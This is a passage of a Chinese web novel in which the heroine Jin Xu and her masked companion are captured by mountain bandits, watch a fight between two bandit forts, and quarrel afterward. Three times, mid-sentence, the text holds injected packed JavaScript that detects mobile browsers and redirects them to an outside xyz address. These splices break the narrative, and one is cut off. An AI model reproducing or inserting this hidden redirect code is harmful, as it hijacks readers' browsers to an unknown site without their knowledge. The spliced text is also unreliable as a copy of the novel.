几名跟班上来押着金絮三人下车,其余人搜检马车,小山匪们一个个按捺不住兴奋之色。 “三当家的,这些粮够我们吃三天了!” “还有些银子呢!” 金絮常吃一种干粮容易吃腻,洪叶生就不会在车厢里备太多的粮,而备多一些零嘴,基本都是每到一个郡县就换一批新口味。一次带的粮大概只够他们二人和十几名暗卫吃四、五天的。而这群小匪的寨子里应该还有不少人,居然说够吃三天。金絮猜测,这山寨子不会很大,冬粮屯得不多,而且很穷。 她看了看洪叶生,见他不动声色,便也不说话静静看着。 “三当家的,这马,骏!”跟班摸着木果的鬃毛,一脸瞧见稀罕之物地看着三当家。 三当家走近,又拍了那跟班脑袋一巴掌,指着荆风道:“你懂什么!这匹才骏!” 跟班揉着脑袋,看看荆风,不太肯定地说:“三当家,这匹马的模样瞧着不太对啊,没见过这么大的。” 这么一说,本打算骑上去的三当家犹豫了,后退一步略有狐疑地打量荆风。洪叶生这时跨出一步欲上前,却被押着他的小山匪喝退,只好远远道:“三当家,这马名荆风,是匹草原马。” “草原马?”三当家一脸没听说过的样子,继而不屑道:“老子什么没见过!这马,我的了!” 三当家说罢便想跨上荆风。荆风脾性好,但也有草原骏马普遍的傲然,不愿被随便什么人骑,于是往侧里躲开,喷气警告。 三当家被落了面子,跟班立刻甩了荆风脖子一巴掌,骂道:“一匹畜生!” 洪叶生这下才不顾小山匪的阻拦,走过去安抚荆风,同三当家歉道:“三当家,我这马认生,不太好靠近,不如我牵着,你再骑上去。” 三当家比洪叶生矮了大半个头,跟金絮差不多高,此时在洪叶生的俯视下不免失了气势,面上却仍保持着威严,那跟班立刻凑来对洪叶生骂道:“有你说话的份?!我们三当家骑马还要人牵着?驯匹畜生也就喝口酒的功夫!” 金絮想着这小跟班还挺机灵的。 三当家故作沉脸地走到一旁,远离洪叶生。 这时清点银粮的小匪高声汇报收获,三当家满意地点点头,下令:“回寨!” 小匪往前推搡她,金絮被三个人羁着走,洪叶生另有人押着。三当家坐在马车上,几名山匪拉马推车。 “还挺配合。”三当家喝着洪叶生的酒,对他们三人的表现颇为满意,“你们什么人啊?这趟是去往哪里?给人送黑货?” 金絮答:“我们就是些清白小户,送不起什么货,这趟是去太南投奔亲戚的。” 三当家眯了眯眼,不知信了没有。那跟班又开始嚼舌根: “三当家,看他们穿得不像普通人家,说不定会是个有头脸的人物。” 三当家啐一口,“管他什么头脸!入了我这虎头寨,就是这泥地里的人!要被我大当家看上了,那才是有头脸的人物!” “是是是!” 大当家?金絮心里期待起来。 一条路却是走了很久。 先前过冬,金絮几乎是日日待在屋子里,体力下降,初春的气候润得人也乏,她走着走着便慢下来,几次被小匪不耐地前推。 看来这虎头寨是真的穷,需要跑这么远打劫。 金絮看向洪叶生,他仍一派悠闲。察觉她的目光,洪叶生不顾山匪阻拦,径直走来,低声道:“还想去么?” “挺想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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跟班兴奋地大喊:“那是!我们二当家可是这五连山第一等的美人儿!” 原来这跟班是三个当家的跟班。 金絮点点头,“原来如此。听二位如此说,这虎头寨定是附近远近闻名的山寨了,卧虎藏龙!” 三当家和其他小匪一起得意地笑。 “小妮子会说话,坐过来!” 马车驾停,金絮跳了上去,终于微微喘口气,尽量与三当家隔一段距离坐着。洪叶生捏了捏她的手指便放开了,仍是缀在她旁边。 之后,金絮懒懒散散与三当家搭话,也不多奉承了。绕了一座小山后,山路尽头出现虎头寨的牌坊。 寨子的房屋颜色漆成黑绿,隐于山间,从山腰抬头看,屋瓦连成一片,仿佛树浪翻滚,气势十足。走近了看才会发现木料虽结实,却很陈旧了,房柱檐角有许多刀砍的痕迹。所见人也多了起来。 他们大多配备粗制的武器,长刀木棍之类,看见三当家便热烈地欢迎,围着马车大呼凯旋。林间喧嚣顿时冲天。 三当家车舆站立,举臂欢呼,穿过牌坊,一路不停地直上山顶。 金絮默默清点人数,大约四五十人,还有没见到的,可能小一百人了。那点粮食足够这么多人吃三天? 半饥半饱地吃三天也许可以。 金絮又想到,即便饿着肚子,那小跟班还是对着三当家吹捧了一路。 车队进入虎头寨的核心,人群几乎都围了过来,大部分人面黄肌瘦,兴奋之情却溢于言表,皆目光灼灼地看着高立于人群的三当家。 金絮跳下马车,洪叶生虚扶了她一把,立刻有小匪端着刀棍押住他们站在路边,其余匪子们一拥而上,大声讨论着这趟出劫所获。 三当家面带豪壮之色地大跨步走进一间最大的屋子里,像是去面圣。 屋子里响起粗犷的笑声,过了一会儿,笑声转而变怒,似有什么东西打在了木板上,啪的一声巨响,接着便听见应是大当家的人骂道: “傻子!都快养不活了,还抓人来!” 怒响虽大,却没影响到屋外兴奋的人群。 屋里吵了几句,便有小匪出来说押他们进去面见大当家。 32. 剿匪 金絮被押着推进大屋,内有数人,上首一名看来是匪首,年岁比三当家长了许多。其余几名都是底下人,手拿刀棍,用鼻孔看人,试图对他们几个新来的亮出下马威。 大当家的座椅铺了狼皮,狼头垫在他肘下,身上磨旧的狼绒短氅略显单薄,崩出肌肉虬结的身躯,头顶裹着有点脏的布巾,面部松弛的皮肤压出皱纹,乱胡一脸,唇色浑浊,一双眼睛无悲无喜却又带着点惊意地看着金絮。金絮毫不畏惧。 《豪侠传》中的女侠陈真真就曾是山寨的大当家,后来寨子解散,做了游侠,才遇见张秀之。 真真的山寨与别的土匪山寨不一样。真真不喜欢打劫,不喜欢自己手下人背着个山匪的名头,于是将寨子易名为山庄,就叫陈真山庄。小的时候看到书中描写的山野风貌和肆意畅游江湖的痛快,金絮就很憧憬,最喜欢的就是真真成了游侠之后、遇见张秀之之前的情节。 可她也仅仅只是憧憬。不曾想后来她真的成了陈真真。 而此刻她脱离书本,进入了真正的寨子里,心里有些兴奋,也有些好奇,目光坦然地直视大当家。 大当家眸光深沉地打量他们三人,迟迟不动作,不知在想什么。 洪叶生附耳与她悄悄道:“你看他手边。” 大当家手边放着一卷文书,书封漆了印,金絮认出来是官府文书。 “什么意思?”她同样低声问。 “不清楚。” 大当家注意到他们的视线,面色微微一变,手不由得紧握住官府文书,再看他们的神情生出戒备。 金絮意识到了,凑近洪叶生问:“官府想处理掉这寨子?” “可能是,但不知道具体怎么做。” 他离得太近了,金絮与他拉开距离,周围已有几人不满他们的窃窃私语,强行将他们分开。 三当家粗声道:“大哥,你看这几人怎么处理?不如挟持了他们讨银钱!” 大当家将手里文书卷起来照着三当家脑袋一敲,“讨什么讨!也不先看看是什么人!” 三当家被敲得皱眉,莫名其妙看着金絮等人,“大哥,咱们寨子怕过什么人!你不是总说这五连山太荒了么,靠他们敲到一笔钱后,咱们寨子就换地方过活!” 大当家一拍而起,“换什么换!你看看外面那些人,经得起搬家么?你这次去收过路费也才勉强凑出来几个人跟你!”又是一记敲过去,“就是不用脑子!我不是说了,只劫粮,别劫人!你看你,给我惹了个什么麻烦!” 金絮眨眨眼,好像这大当家挺怕他们的,可是洪叶生现在身上没有身份标记,即便有,这些匪子们也该认不出来,在怕什么?还是那文书里写了什么事情让大当家如此顾忌。 大当家顺了口气,复坐下,目光锐利地看着洪叶生,缓声道:“你们是官府来的人?” “不是。”洪叶生答。 “不是?”大当家狐疑地眯起眼。 金絮更疑惑了。 大当家沉重地来回踱步,脑后的辫子压着背脊弯曲的轮廓,最后愤而击掌,嗓音粗犷有力,整个屋子都能听见:“放了他们!把劫来的粮留下一半,剩下一半让他们拿走。” “大哥!”三当家大惊失色。 金絮心里想,虎头寨的老当家之所以会选现在的大当家做当家的还是有理由的。不过就这么走了?她来这寨子半个时辰都没到呢。 周围小土匪不解大当家此举,迟迟不动作,大当家再一喊:“照做!” 架刀押着他们的山匪松了手,将他们推出去。 “怎么回事啊?”金絮低声问。 洪叶生摇了摇头。 “大哥,这小白脸儿不给二姐送去?就这么放走了?!”三当家指着洪叶生大声道,声音像是刻意要吸引来什么一样。 白脸儿?金絮诧异地端详洪叶生,不苟同地摇摇头。她在温柔馆见的白脸儿可不是洪叶生这个样子的。 “你小声些,别把你二姐招来了。”大当家皱眉斥道:“快放他们走。” 小匪们作势要将他们三人押出,三当家立刻喝道:“慢着,先把人留下!”再向大当家道:“大哥,你什么时候这么怕事儿了?官府送来的不过是张破纸,人还没到呢。你要是怕就让三弟我来!我不怕!”他又朝小匪道:“去将二当家叫来,让她看看这小白脸儿合不合她的眼,她若喜欢就送到她屋子里去。” 看来这二当家可能好男色。金絮促狭地看了洪叶生一眼,不免期待起这二当家是个什么样的人。 洪叶生面无表情。 屋外,一群人还在争抢马车的粮食;屋内,当家两兄弟快要吵起来。金絮看着热闹,可惜手边没有瓜子。 哄乱之际,夹缝进来一道极为清晰的女子嗓音。 “公子生得真俊,是新来的?” 金絮扭头看去,一名容貌姣好,身段窈窕的女子款款走来,一双媚眼牢牢锁住洪叶生,吐气如兰。 这想必就是虎头寨的二当家了。 她终于知道这寨子里的人为什么会讲中原官话了,这二当家想必在京城一带居住过,中原官话说得极为标准。模样确实不错,放温柔馆里也能排进前十。 洪叶生看了一眼便收回目光,神色平静。 二当家眼波流转,瞄了瞄金絮和十三,最终选择贴近洪叶生。他不露痕迹地躲过。 三当家兴奋道:“二姐,怎么样?喜不喜欢?喜欢就拿到屋里去,三弟我知道二姐你喜欢长得细致的,特意给你留着!” “嗯,不错。”二当家满意地围着洪叶生上下打量。 他一直看着金絮。 金絮往旁侧错开两步,站到十三旁边,看好戏地看着他。 洪叶生前些年征过沙场,不算特别白净细致,只是此刻被这群糙汉一衬托,她看着也觉细致起来。即便他面具下的脸是如他所说丑得人神共愤,但只要不摘下那面具,他在这寨子里还算脱颖而出。 “不是说放我们走?”洪叶生斜视大当家,冷冷道:“再不放我们,说不定官府的人就快到了。” 大当家闻言脸色微变。这时一道哨音响彻山林,飞鸟惊得扑扑而起,金絮听得清楚,是洪叶生暗卫发来的信号。 “已经上山了。”洪叶生平静道。 三当家顿怒,大吼:“探子呢!” 大当家更为冷静,拦住三当家,“不,不是官府的人,这个时候是狼头寨那帮人找上门来了。” 说完,山寨大门前有站岗的人仰头吹起号角,霎时间寨里所有人忙着戒备起来,人人拿起武器,干瘦的小匪们聚成一团,一致对外。 狼头寨?原来这地方有两个山寨?不是说五连山很荒么,养得起两个山寨? 大当家指着金絮三人,急吼:“把他们给我放了,滚回狼头寨去!” 金絮一愣,未及反应,几名小匪就急匆匆将他们三人赶押出了寨外。 她站在林子里,感觉林间气氛静谧起来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839767|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “就这么放了我们?大当家那话是什么意思?觉得我们是狼头寨派来的人吗?他们这是要搞匪斗?两寨对打?” 洪叶生点点头,“可能是。”他环顾四周道:“狼头寨的人应该已经围到山下了,我们先不下山,等他们打完了再说。” “荆风木果还在虎头寨呢。”金絮提醒道:“还有那把剑。”还有她的纸稿,一马车行李都在寨子里。 “嗯。”他与十三打个眼色,十三一飞身便去了,然后带着金絮往山另一侧走。 “你怎么知道官府的人会来?” “我不知道,诈他们的。” “大当家手里那份文书会写着什么?” 他略略思索,“不好说,但府衙肯定会插手。冬灾刚过,很多人家里没有囤粮,如果再让山匪们抢去了,饿死的人更会增多。因天灾饿死与被土匪抢了粮饿死,朝廷对这两件事的态度完全不一样。” “哦。”她又问:“那官府一般会怎么处理山匪?” “招安,往年都是招安。或者让山匪们内斗,或者派军队剿除。”他顿了一顿,“不是招安也就是内斗了,很少会剿除。” “可我看那些山匪们活得也挺辛苦的啊,他们也饿了一个冬天了,然而官府却不会管他们。” “可他们做的毕竟是抢劫的事。” “也是。这些山匪被官府招安之后会怎么办?” “充军、做工、卖身为奴。”他道:“不知道此刻两寨因何拼杀,拼杀后剩下的多半是体质不好的老弱病残,基本都是发配到军营里充工。” 金絮沉吟,末了也是点点头,不再说什么。 山路细脆的枯枝很多,踩起来嘎吱作响,草木青叶泥土的香气围树飘荡,初春的花轻微绽放。 “你说他们为什么要做土匪?为什么不去县里找份工赚银子呢?” “或许他们觉得,给别人做工不如自己抢得多,也或许是因为旁的。” “所以他们现在饿肚子也是他们自己选的。”金絮如是道:“可是那些待在县里的人没有抢劫却也一样饿了肚子。县令并没有保护好他们。” “那你呢,如果是你,你会选择去做山匪吗?”洪叶生问她。 金絮想也不想答:“不想。” 她已经做过陈真真了,她已经做过温柔馆的老鸨了,她已经不想再有自己的山寨了。 两人慢慢爬到一处断崖上,地势较高,眼前无遮挡,所见空阔。一股风吹过去,树浪翻滚。虎头寨的黑绿瓦顶没那么醒目,但一找还是找得到,金絮再沿着山路向下看去,果看到了人头攒动的大片人群。 “那片人就是狼头寨的人了吧?” “嗯。”洪叶生吹哨音,片刻后有哨音回复。他低头道:“饿了么?” “饿了。” 他再次吹响哨音,很快几名暗卫用大树叶送来一捧果子和从某个寨子里偷来的面饼。 金絮与洪叶生坐在崖边,果子放在两人中间,树影遮住了刺眼的阳光。 “哦,对了。” “嗯?” “虎头寨的二当家好像看上我的美色了。” “嗯......” “你没什么想说的吗?” 金絮想了想道:“山野小匪的眼光就是一般,丑得人神共愤的脸有什么美色?” 这话是他自己说的,金絮欣赏他的表情,然而洪叶生表情没什么大起伏。 他呵笑一声,“也是。” 33. 夜山 傍晚的时候,两寨打了起来。 起初他们应该有过交涉,狼头寨的人上山后在虎头寨门口驻扎了好一阵。 接着似乎交涉失败,狼头寨人冲入了虎头寨。 隔得太远,看不清战况,听不见声响。金絮仿佛能隐隐透过这屋顶与树尖相连的茂密看见了刀光剑影的血腥江湖。只是不知官府在这其中参与了多少。 “不知道情况怎么样了。” “等他们快打完,并阳郡官府的人应当就来了。”洪叶生道:“天黑了之后,我们就下去。” 金絮认同地点点头。要想处理掉这些土匪,最好的时机当然是两败俱伤的时候,匪子们本身就饿了一个冬天,此时抛出的条件都不用多吸引人,愿意被招安的人也会不少。 金絮坐在石头上晃着双腿,遥望天际线,忽然想到,陈真真觉得自己山寨子里的人不能算山匪是因为本身就没有行打家劫舍的事,而她一直觉得温柔馆里的姑娘也不是妓.女,可姑娘们实际却做了妓.女会做的事。 夕阳渐渐褪色,黑夜追光而至,墨绿的树群与瓦顶连接黑天,虎头寨亮起的点点星火仿佛森林的眼睛。 “走吧。” 两人下山,林子里渐趋寂静。洪叶生牵着她手腕前行,牙齿一样的树木森森列于两侧,茂密的叶子遮尽星辉月华,几乎看不见脚下的路,耳边只有棉鞋擦过树枝与小草的声音。 他的手掌慢慢下滑,整个握住了她的手。被握住的一刻,金絮才发现自己的手指有些凉。 黑暗中只能看见他身形的轮廓,连他的面具都看不见,只知道他在身边。金絮低头看了看自己,她此刻是不是也是一番看不清的模样。 脚底绊到一小块石头,金絮滑了一下,他立刻用手臂为她撑住,也不出声提醒小心打破这寂静,而是更握紧了她。黑暗中前行的速度并不快,她却总感觉这段山路比来时要短了点。 前方出现火光。虎头寨着火了。 远远看去是间小屋,烈焰裹着屋子的轮廓,有人在救火,滚烫的气浪溜进她的呼吸。 洪叶生带她隔远一点,吹了一道哨音,两个黑衣人跳下,暗卫禀道:“主子,并阳郡掾属已经到虎头寨,希望见您一面,不知您有什么吩咐。” “行李呢?” “带出来了。” 洪叶生问询地看金絮,“我去见见那人。” 金絮道:“那你去吧。” 他便进入寨子,留下的黑衣人守着金絮。 虎头寨里传出微弱的嘶喊声、哭声和刀棍撞击声,火焰升腾着热度,空气中有淡淡血腥味传来。她再躲远了一些,耐心地等着。 不多久,七八名暗卫拉着荆风木果和马车来了。金絮急忙查看随身带的纸稿有无被烧毁。她用了一个专门的木盒装着,没有上锁,盒子显然被虎头寨人翻过,花了几天时间整理的稿子又乱了。 她叹口气,没烧毁就好。洪叶生的那把刀还在,荆风和木果也没有受伤,粮食空了,衣物也没了,唯一一个上锁的箱子尚完好,锁有砍痕,里面的银子、取钱令都没丢。 她把刀放手边,坐在车舆上,十来名暗卫围成半圆守着马车。 约过一炷香,木屋的火始终未熄,金絮远远看见洪叶生缓步走出火光,他身后一名看不清样貌的中年男子在火光中向他的背影沉默行礼。 他神色如常,步履如常,走近后什么也没说。他挥一挥手,暗卫四散开来,融入黑暗。金絮莫名感觉到他周身的气息变得沉默了。 “怎么样了?” “没什么。” 他伸出手,金絮不明白他的意思,任他手空悬着,问道:“这两个寨子是怎么回事?” 他走近一步,握住她的手,金絮冰冷地不动,他的手于是慢慢上滑,握住她的手腕。金絮视线与他平齐,静静地隔着森林的黑暗看着他,他脸上的白色面具仿佛也正一点一点被黑夜浸染。 “虎头寨里有官府的卧底,而这个卧底认得你。” 金絮冷静的声音在森林中传出很远,她额外笃定地强调:“你戴着面具都认得你。” 许义是自京城调来并阳郡赈灾,那么这个卧底肯定是跟着许义从京城来的。 他不作声,又走近一点。金絮退无可退,只听他道:“是巧合。近几年白沙县这一带的匪患已十分严重,并阳郡守早想将之一网打尽,只等过冬后,土匪最虚弱时一举剿灭。我们的出现在许义意料之外,那个卧底也是许义这些天为了探听消息临时安排的。” “这条山路是我们的必经之路,许义安排这个卧底,难道就没点拦下你的想法?” “可能有吧。但那又如何?”他轻轻拉她的手,想把她往身边带,金絮不动如山,他无奈又轻哄地唤了一声:“金絮......” 拖拽的尾音暗含拉扯和纠缠,化作蛛丝绕进她的耳中,痒痒的,等她想拔出来时,蛛丝已绕进了她脑海深处。 月光洒下来,银亮的光柱落在他身上,白色的面具散发点点冷光。 他身体缓慢向她靠近,双臂在她身侧不动声色地收拢,“这不算什么的......对不对?”继续低沉地轻哄,“我还能牵你的手吗?” 金絮微微后靠地推拒他,“又跟你有什么关系?是我自己要来这山寨的......”一旁草丛中传来窸窣声和话音,适时打断,金絮扭头看过去,见一女子身影窜出,模糊看不清相貌。 “你们!就是你们!”那人手中似乎拿着刀,刀面寒光一闪。 是虎头寨二当家。 “你们就是官府的细作!”二当家怒喊:“害得我们虎头寨如今的下场!” 他也微微侧目,来人走到月光下,金絮这才看清。二当家衣衫破烂,布满血污与泥灰,乌发糟乱,手中沾血的刀刃崩裂卷曲,身后还有一群男男女女、老老少少,约有二十几人,应是虎头寨仅剩的人口,存活的二当家带着这些人出逃。 “老子就是死,也不做你们官府的走狗!”二当家刀尖一指,“给我杀死这狗男女!” 话落,一群人怒吼着挥刀冲向金絮二人,洪叶生神色一凛,双臂拥住金絮,预备躲闪,这时树影深处飞来一片小刀击中二当家刀背,化去其势,洪叶生趁机点地,旋身一跳。金絮眼前一阵颠转,再定神,便已站在一人粗的树枝上。 周围十几个人影同步跃出,与那二十来个伤残匪子对上。 震颤的利刃划开皮肉的声音不绝于耳,四溅的鲜血重石般地砸落地面,怒吼惨叫声此起彼伏。空气中有什么东西在抽走水分,干得发紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839768|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 金絮呼吸困难,越来越浓重的血腥气堵住口鼻,无法吸入。她的身体猛烈颤抖,害怕地蜷缩身体。 洪叶生双手捂住她的耳朵,低声说了句什么话。 近在咫尺的他的声音听不见,却清晰听见树下一个山匪置之死地的大吼被一道刀破肉绽的声音打断。 金絮靠近他怀里,手指尽力滤去血腥气,喉中哽住,说不出话,她用力一咽,断断续续地说:“别打死了......” 洪叶生吹响哨笛,继而拥紧她,安抚她的情绪。 打杀的人群中忽然爆发凄厉的嚎叫,金絮越过洪叶生的衣襟向那处望去,是二当家抱着一名白面小生的尸首痛哭,她尚未看清就被洪叶生扭回头。 “你别看。” 可这样的场面她已经看过了,再看一次又能怎么? 身上的怀抱一松,她顿时感觉天地一滞,继而宽大的衣袍兜头罩下,怀抱再次收紧,衣袍隔住了月光和血腥,她这时才能微微放松身体。 周遭刀砍渐歇,洪叶生抱着她跳下树,几个飞跃后落于草地。金絮喘了口气,他双臂松开,摸了摸她的手,“冷吗?” 金絮点点头。洪叶生抱住她,轻抚背脊,温温低哄:“别怕。” 金絮喘着气,却没发出一点声音,“虎头寨被灭门了吗?” 他的手掌微微一顿,目光望一眼她身后,“没有。”手掌再次抚慰起来。 “只剩一个了?” “不是。”他轻轻抬起她的脸,金絮仰头看他,他的眼睛旁边就是郎朗星光。 “不管剩下几人,虎头寨都不会消失。” 不会消失。 金絮垂下头,缓缓笑了。洪叶生摸了摸她的脑袋,“在这等我一下。” 他返回战场,金絮取下外袍,乖乖地原地等他。 她站了会儿,转身也走回去。 匪子们躺得横七竖八,嚎叫连连,身上都是不轻不重的伤口,细微月光下汨汨流血,她小心避开,棉鞋沾了一圈血花。 “怎么过来了?”在马车旁检查的洪叶生看见她便伸手过来相扶。 “这些人怎么办?”金絮不用扶,无视掉他的手,环顾四周,几名尚能动弹的年老土匪忙着给伤势过重的人止血,他们有的流着泪,口中呜咽着;有的放声痛哭,像是要撕裂这惨淡的月光。 金絮心中隐痛,不忍再看,洪叶生牵她远离,“离远些,闻多了不好。这些人交给并阳郡官府,他们会负责救治的,我们走吧。” 金絮点点头,拢着他的衣服,没忍住还是将衣服贴近口鼻,阻挡气味。 “马车坏了,骑马吧。” 车轮子被撞弯了,洪叶生把车内的行李拣出,挂上两马,他道:“部分行李让十三他们带着,我们轻便上路。” “好。” 十三拿着她的纸稿箱。 走出血地,金絮心里彻底地松了气。 她回头看了一眼,树夜覆盖下不见血色。她收回目光,问道:“我们今夜怎么过宿?” “往前三里地有间竹屋,可堪一住。”洪叶生拉马,“骑马去。只住几个时辰,天不亮就得走。” 金絮上马,洪叶生仰观天色,夜空轻清,白云沾灰,推测今夜不会下雨。 34. 面具下 然而当夜下雨了。 竹屋破旧不堪,枯竹败木漏雨不止,落雨滴竹的声音却很好听,丁丁当当像是敲打乐器,几颗竹子滤过的雨水滴在身上,金絮伴着音响睡得沉。 她盖着洪叶生的外袍翻个身,手臂掉出竹榻外面,触到了细风挟着的微雨,她手指捻了捻,意识未从睡梦中完全抽醒,只觉小臂有点凉,但不冷,她也就不动,继续睡觉。 “春寒料峭,贪凉受病了怎办?” 一只手握住她掉出去的小臂,微凉的皮肤触到他温暖的手掌,冷遇热,更增冷热,金絮一哆嗦,皱眉往袍被里缩,接着感到有布帛为她擦拭手背沾上的雨珠,拭净后才放进袍被里。 “睡吧,走不了了。雨停再走。” 金絮于是又睡了一觉。 醒来时雨已停。起身脑袋磕到木板,磕得清醒,她正自诧异天花板怎如此低,定睛一看才发现是她身上架了一张木桌隔接漏雨,而她此刻躺着的也不是昨夜入睡时的窗边。洪叶生将她抱换了个地方。 金絮钻出来,坚硬的木板床睡得浑身难以伸展,她活动活动肩颈,肚子饿得无法忽视。洪叶生却不在这间屋。这屋里其他地方全被漏雨霸占。 她轻手轻脚探去侧屋,慢慢推开门,见他果然睡在这里。 屋内无窗,破竹间的缝隙透光进来,暗室中光轨分明。角落有堆干草,他仰躺其上,双手枕于脑后,睡相安静。 竹隙尚有水滴漏在他身上,金絮走近细看,他的衣裳大片大片地湿了,他仍顾自睡着。 金絮将外袍给他盖好,蹲下身仔细瞧他。 他脑后系绳松了,面具斜垮地搭在脸上,随时会滑下来的样子。 看了几年的脸,没什么好瞧的。 金絮又看了看,伸手捻住面具边缘,缓慢上推。随着面具上移,他的眼睛一同睁开。 他睁开眼,眼中意蕴不明,看着她微微一笑。 金絮表情不变,道:“我饿了。” 说罢,又将面具给他盖上。 金絮出到外屋,趴在窗下,看山野碧空、雨后新竹。约要一两个时辰后才近午,太阳照着未干的雨渍,空气闷热。 她打个哈欠,洪叶生从侧屋步出,他穿着皱巴巴的外袍,信步走到屋外,吹响哨音。 他也是一副懒懒散散的姿态,面具松松系着,发冠散了,发丝凌乱,衣衫如此不整,倒有几分从前在温柔馆过夜的富家公子一晌贪欢后的模样。 几名暗卫抱柴、提着四只带膘兔子和干草而来。她饿得不想动,走回窗下趴着,看见十三交给洪叶生一封信,他接过,避到一旁展开信纸阅读。 很快阅毕,他一回身,金絮正巧与他对上视线。 洪叶生收妥信纸,从挂在荆风鞍侧的布袋中拿出一小包东西,朝她走来。 金絮认出是她昨天剥的核桃,居然有剩,顿时精神一震,欢天喜地地接过,赶紧打开吃了一颗镇住饥饿,然后伸给他,他也吃了几颗。 十三领人处理好了兔子,架柴开烤。 两人隔窗对立,金絮闲闲地嚼核桃,洪叶生倚着窗沿,手指漫不经心地捻着她的几根发丝。她随意甩头,发丝脱手。 她突然道:“你是不是有背着我跟官府传递消息?或者是跟朝廷?” “我没有。”回答很迅速。 “你的身份暴露了。”金絮咽下核桃,平静地注视他,“在白沙县时就暴露了。” 他张嘴欲语却顿住,手指不由自主来抓她。 “暴露了我就不是洪叶生了?” “你一直不是。” 他闻言动作凝滞,脸上惶切再也掩饰不住,急急前倾抓住她手腕,“如何不是?” 她惨慢一笑,“我说错了?” “你希望我是洪叶生的。”初时的惶急过后,他镇定下来,手中力度加重,“不对,你没说错,我的确不是洪叶生。”拉她靠近,微笑道:“应该说,红叶生是我们两个。” 她缓缓收起笑容,重归平静。 两人静峙而立。 面具洞的阴影加深了他眼中的黑色,眼睛的情绪却一览无遗,金絮一瞬不瞬盯着他。 良久,金絮抬手,捏住面具的边缘,轻轻一拉,两端松开的系绳擦过他发侧垂下,待看清他的面容后,金絮噗嗤一下笑出声来。 他脸上赫然被太阳晒出了深刻的面具印子。 金絮哈哈大笑,方才在侧屋光线暗没看清,此时再看,黑白分明的两道分界线令脸上仿佛仍旧戴着面具。 金絮笑不止,见他疑惑,便比着自己的脸告诉他:“面具被太阳拍进你的脸里面了。哈哈哈哈哈哈——啊!我是不是也晒黑了?!” 她反应过来,捂着自己的脸仍收不住笑,她至少是整张脸黑的,不像他。 金絮笑弯了腰,快要忍不住让十三也看一看了。 “很难看么?”他问。 金絮扶着他的手臂笑得说不出话,只能摆摆手,告诉他倒也不至于那么难看。 他也笑着,嗓音温温柔柔,“少见你这么开心,却是在取笑我。” 他把玩她的手腕,笑道:“可是你也晒黑了。” 金絮勉强收住笑,一看到他又破防了。 他看起来也很开心,道:“你现在这模样倒很像你小时候,不会很黑,刚刚好。” 金絮咳了几下止笑,她对肤色无甚所谓,小的时候喜欢骑马射箭打马球,肤色相较同龄其他女子确实要黑一些,是在温柔馆住了几年才养得白了。 “你且先告诉我,很难看么?” 她窃笑,“你还在意这些个?” “我不在意,只是在意你为何笑得这样开心。”他低头,将脸靠近她,“我现在脸上是个什么模样?” 两人随身都不带镜子,金絮用手指在他脸上隔着距离比道:“眉毛上面一点点的地方有一条分界线,下面的黑线从鼻翼两侧延伸到鬓角......” 他突然前倾,金絮手指就这么触到他的脸颊,在他颊心凹陷下去,她还未反应过来,手指已猛颤地收回,顿时也不想笑了。 他脸上露出得意,金絮微恼他的越界,五指收成拳,往屋内走了几步,背对着远离窗边,冷声道: “王爷,你该回京了。” 四周冷了一冷,暖热的烤肉香味悠悠飘进来。金絮听见他道:“你过来,别离我那么远。” 金絮冷漠地转身看着他,站定不动。 梁风神色未变,两手一搭窗户,纵身跃窗而进,一个箭步跨前,强行捉住她手腕,金絮脱不开,耐着性子道:“你不回京,还能去哪?你迟早要回去的。” “怎么说这些,刚才明明还那么开心。” “因为现在我懒得跟你开心了。”金絮努力让自己看起来严肃,“就在这分开吧,你去京城,我回太南郡。” 他皱眉,不由分说道:“不行,我怎么可能让你自己一个人回去。先不分开,我还有话没与你说。” 金絮试图挣开他的钳制,“我知道你要说什么。那是你的事,与我无关,现在皇帝肯定已经知道我的行踪了,我不想惹事。” “与你无关?” 他像是不可思议自己听见了什么,面上生了气,正待发作,门外十三手拿一只烤兔子恭敬打断道:“主子,烤好了。” 梁风立刻大步走去接过,首先递给金絮,“给你。” 金絮饿得狠了,但也不想欠他的,撕下一半还给他,却心道这十三,一定得了李管家的真传,真是懂得在适当的时候打断他们的争吵。 “你就是饿着肚子所以脾气坏,这么急着就要分开。”梁风拉她在桌边坐下,责怪道:“完全不顾我的心情。” 金絮闷闷又认真地啃兔腿,闻言冷冷一哼,不理。 两人间的气氛回复平静。 兔腿喷香,十三烤肉水平不太行,但肉质本身不错,味道还可以,金絮吃得专心。 饱足后,她擦擦手指,正色道:“你有什么话就说吧。” 梁风却不着急,慢条斯理坐到她身边,与她并肩,悄悄握住她手腕。 金絮不喜他靠这么近,往旁边挪了挪。 “你刚才说知道我要说什么。” “嗯。” “你说说看。” “是不是皇帝又怀疑你了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 